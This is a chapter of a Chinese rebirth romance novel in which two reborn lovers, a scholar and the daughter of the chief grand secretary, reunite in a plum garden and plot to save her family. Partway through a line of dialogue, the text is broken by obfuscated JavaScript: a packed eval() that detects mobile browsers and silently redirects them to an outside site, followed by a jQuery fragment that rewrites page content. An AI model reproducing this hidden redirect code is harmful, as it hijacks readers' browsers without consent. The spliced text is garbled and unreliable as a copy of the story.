“公子,您还好吧?”
侍从何令战战兢兢地看着自家这位在一盆清水面前站了整整一个时辰的公子,心里疑窦丛生,半是迷惑,半是害怕道:“公子,您是不是不舒服,我这就去给您请大夫。”
听了这话,一直默立的江淮安才终于抬眼,哑声回了句“不必”。
从前种种,譬如昨日死;从后种种,譬如今日生。
江淮安面对着那盆清水,凝望着将近二十岁的自己,一时竟分辨不出何为昨日,何为今日。
难以置信的同时,是庆幸和感激。苍天何厚于他,竟开恩赠他一个梦寐以求的来生。
当年教坊司中,他于房外受人鞭笞,听得房内阿晚受人凌辱。他如困兽般嘶吼,求那人放过他的阿晚,却只换来更重的鞭刑。绝境之下,他自心中万般哀求诸佛众神,恳求他们许他与阿晚一个来生。
重活一世,他定要强大自身,护好阿晚,必不能重蹈前世的覆辙。
江淮安理了下思绪,回过头来问何令:“现在是什么时辰了?”
“巳时了”
江淮安眉心轻动。他清清楚楚地记得,建宁十二年初春,申时,西郊的梅园里,他与阿晚初次相见。
思及此,江淮安忙清了把脸,仔细检查了一下自己的穿着和仪表。他是江陵籍贯,父母早逝,一直由嫂嫂抚养长大。嫂嫂早年丧夫,一直省吃俭用,吃苦耐劳,尽心抚养家中的两个孩子。嫂嫂视江淮安如亲子,为了给江淮安准备进京赶考的盘缠,把家里唯一的一头公牛给卖了。
但好在江淮安天资聪颖,且勤奋好学,并没有辜负嫂嫂的期待。他在春闱中一举夺魁,不日即将参加殿试。
今日本有阁臣邀他赴宴,他却无意于此,只听说西郊的梅花开得极好,一时生念,便去了梅林。也就是在那里,他遇见了阿晚。
江淮安细细抚平淡青衣袍上的褶皱,满意地点了点头。淡青长衫,虽是清贫了点,但只要得体整洁,不会冒犯了阿晚便好。
整理好一切后,江淮安方才偏过头,对何令吩咐道:“难得刚刚春试完毕,不如今日去西郊赏梅如何?”
何令见自家公子不再对着那盆清水发呆,悬着的心终于放下,忙高兴地应了声“好嘞”,快步跟上了眼前人的步伐。
江淮安走出庭院,双手拢袖,抬头望了眼天际。恰逢新雪初霁,天色明朗如青瓷,惠风和畅,流云漫卷。岑峦起伏的青山远远地隐于云雾之间,周身积雪未融,秀美至极。
江山如此多娇,人生如此美好。
一切都来得及。陆首辅尚且在世,陆家并未没落,阿晚未受凌辱,他也未曾下跪……他如今虚岁二十,尚是弱冠之年;阿晚也不过十六岁这样的年纪,正值豆蔻年华。他们会在最美的年华里相遇,一起执手看过万好河山,不再忍受别离之苦……
西郊的梅花果然名不虚传。
还未进园,便已闻得一阵淡淡的花香。江淮安举目四望,目之所及皆是梅花。浅粉、朱砂、素白的梅树交错而立,在地上投下斑驳的影。梅树枝头红梅灼灼,花瓣上还沾着些初春的细雪。
明明已经是重活一世的人了,江淮安还是忍不住心潮澎湃。他略微抬手,折起几枝红梅,而后便按照记忆里的路线,来到了初见之时的那间凉亭。
他心绪起伏,向来内敛寡淡的面容中罕见地多了几分希冀之色,连步履都加快了不少。侍从何令虽对他今日异常的举止深感奇怪,却也还是提步跟了过去。
行至中途,却见身前人骤然止步。何令诧异,顺着自家公子的目光望去,映入眼帘的只是一间凉亭,亭中还立着两位姑娘。
江淮安定在原地。怎么会呢?他明明白白地记得,上辈子,是他先在凉亭煮茶,被阿晚看见,而后他二人才相坐饮茶,默契对谈,一见如故的。
可如今……一种令他无比怀疑又无比欣喜的猜测莫名涌上心头。
江淮安直直地望着亭中那位身系浅白色披风的女子。她戴着面纱,侧身静立,目光飘向远处,似是在赏梅。
恰时风起,花瓣簌簌飘落,点缀在女子的云鬓间。
江淮安突然有股冲动,他屏住了呼吸,正欲向她走近,却见她蓦然转身,与他四目相对。
仅一瞬之间,四周的空气忽而静止。他望入她的眼里,看到了太多的情绪。诧异、思念、欣喜……数十种情绪一齐出现在她那双清亮的眼眸里,江淮安不由心惊,这绝非十六岁的阿晚该流露的神色。
这样一种猜想令他浑身战栗,喉咙发紧,薄唇轻颤,几乎说不出话来。
“是你吗?”
她的面纱早已被春风撩开,露出她那精美如画的五官。她一步步向他走来,惯来平和的声音里带着几分不确定。
“是我。”
隔了良久过后,江淮安才缓过神来,笑着朝她点了点头。
陆晚也笑了,神色由最初的犹疑不定变为莫名欣喜。笑着笑着,她的眼眶就红了,眼底有泪涌出。随侍的婢女见主人对着一名陌生男子落泪,一时有些慌乱,忙递上一张手帕:“小姐,怎么了?”
陆晚摇摇头,接过帕子,将眼角的泪痕擦拭干净后,方笑着对身侧的婢女解释道:“风大迷眼,眼角酸涩,一时有些忍不住,便落了泪。”
而后她如记忆里那般,微微欠了欠身,问:“公子也是来赏梅的吗?”
江淮安亦回以一礼,笑道:“听闻西郊的梅花冠绝燕京,江某便也想着来一饱眼福。”
这是初见时他们开口说得第一句话。
来世相逢,失而复得。一如前世那般,陆晚看着江淮安步入凉亭,将带来的茶具一一在桌岸上铺展开来。他的指尖轻扣紫砂壶盖,壶身松纹隐现,茶香未沸,寒气已凝成白雾,散入空中。
每一个动作,每一个眼神,每一处细节都让陆晚刻骨铭心。她莞尔,轻声对着身侧的侍女道:“紫苏,你先出去罢,我与这位公子有事商议。”
婢女知道近些时日自家姑娘举止有些反常,只当是她风寒尚未痊愈,便不作多想地退了出去。
江淮安亦谴退了随侍何令。
待亭中只余二人时,江淮安提着壶盖的手微微顿下,他抬眼,温柔的眸子间思念流转,低低唤了一声:“阿晚。”
陆晚鼻子一酸,伸手触碰近在咫尺之人的面孔。那人似是察觉到了,轻轻往前凑了几步,配合着,碰到她的手。她的手指有些发颤,却还是克制而又温柔地从他的眉眼滑过鼻梁,如在对待一件珍宝。
良久,她才堪堪收回手,轻轻吸了一口气,平静地压下心底如潮水般汹涌而来的念想,开口道:“真的是你。我真的害怕……这只是一场梦。”
“淮安,再活一世,我一定不能再让父亲和你重走从前的老路。我宁愿你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362440|183750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是普通布衣,也不希望你们为了新政得罪那些权贵……”她虽尽量保持镇静,可过往的那些噩梦依旧让她心神慌乱,有些口不择言。
“不会的。阿晚,这一次我一定会护住你,”江淮安伸手将陆晚的手扣在掌心,语气温和又笃定:“新政是令尊的理想,也是我的心之所向,更关乎天下万民的生计。即便重来,我依旧会坚定地把新政推行下来。”
掌心的温度让陆晚感觉安宁,她冷静下来,开始条理清晰地分析当今的局势:“现下是建宁十二年初春,父亲推行赋税变革的第四个年头。父亲还未患病,仍就任内阁首辅。辅臣苏文渊,豫王刘子陵这些人都还没有动静。”
“唯一的变数就是龙椅上坐着的那人。”陆晚话音渐没,想到她父亲前世的结局与龙椅上那人脱不了干系,心里又是一阵发寒。
她的父亲,内阁首辅陆正,生性古板严厉,却唯独对她这个女儿甚是宽容。建宁帝十岁登基,资历尚浅,无力掌控前朝。李太后便聘用首辅陆正为帝师,倾心教导小皇帝。陆正为官恪敬职守,常常宿在内阁值房处理政事;为师亦是中正不阿,虽偶对小皇帝疾言厉色,但到底是忠心耿耿,言辞恳切。
陆晚前世一直以为这位小皇帝对她的父亲虽有畏惧,但也是尊重有加的。父亲弥留之际,建宁帝甚至握着他的手,泫然欲泣:“先生功大,朕无以为酬,唯看顾先生的子孙罢了。”
但也是这位说着要看顾陆家的年轻皇帝,在陆正死后的第三日,便下令抄了陆家,将陆家女眷全部充入教坊司,男丁刺字流放。陆正唯一的儿子,陆谦也被北镇抚司的人带进诏狱,受尽酷刑而死。
“淮安,你知道我父亲的脾性,他性格刻板固执,对当今陛下更是倾囊相授,忠诚相待。作为首辅,他推行新法,以雷霆手段镇压弹劾的言官和贵族。我不知道该怎么劝他揣摩人心……”
前尘往事一帧帧闪过脑海,陆晚还是有些惧怕。
“放心,”江淮安稍稍握紧了她的手,轻声宽慰道:“我会想办法的。这几日,我思来想去,做了一个决定。”
他陡然压低了声音,温润的眉眼间闪过几分冷冽:“我要入北镇抚司,掌管诏狱。”
“诏狱?”
陆晚一听这两个字,额心便渗出几分冷汗:“北镇抚司的人皆为酷吏,诏狱又是陛下动用私刑的地方。你是儒生,济世救民是你的理想,怎么能去那样的地方?”
江淮安笑笑,松开面前女子的手,直起身来,向陆晚走近。他在离她几米之远的地方驻足,微微倾身,拿出袖中的手帕,将她额中的汗滴细细擦净,声音平和:“世间之大,唯皇权独尊。北镇抚司位卑权重,有缉捕、监视、刑讯、审判之权。唯有取得陛下信任,手揽重权,我方能正确揣摩君心,斡旋于各色人等的利益斗争之中,更好地护好你。”
“可伴君如伴虎,自古君心难测,更何况他实非明君……”
“晤——”
陆晚还想说些什么,却被他以吻封缄。他一手扶着她的后脑,一手遮住她的双眼,安静地吻着她,温柔又缱倦。
陆晚的耳根子又红了,前世里每次这种时候,她的脸颊都会发烫,不知道怎么回应。陆晚几乎要溺死在他的深吻里,周身都是他那熟悉的,独有的,清淡的气息。
许久,他才放开她,俯在她耳畔,低低落下四字:“阿晚,信我。”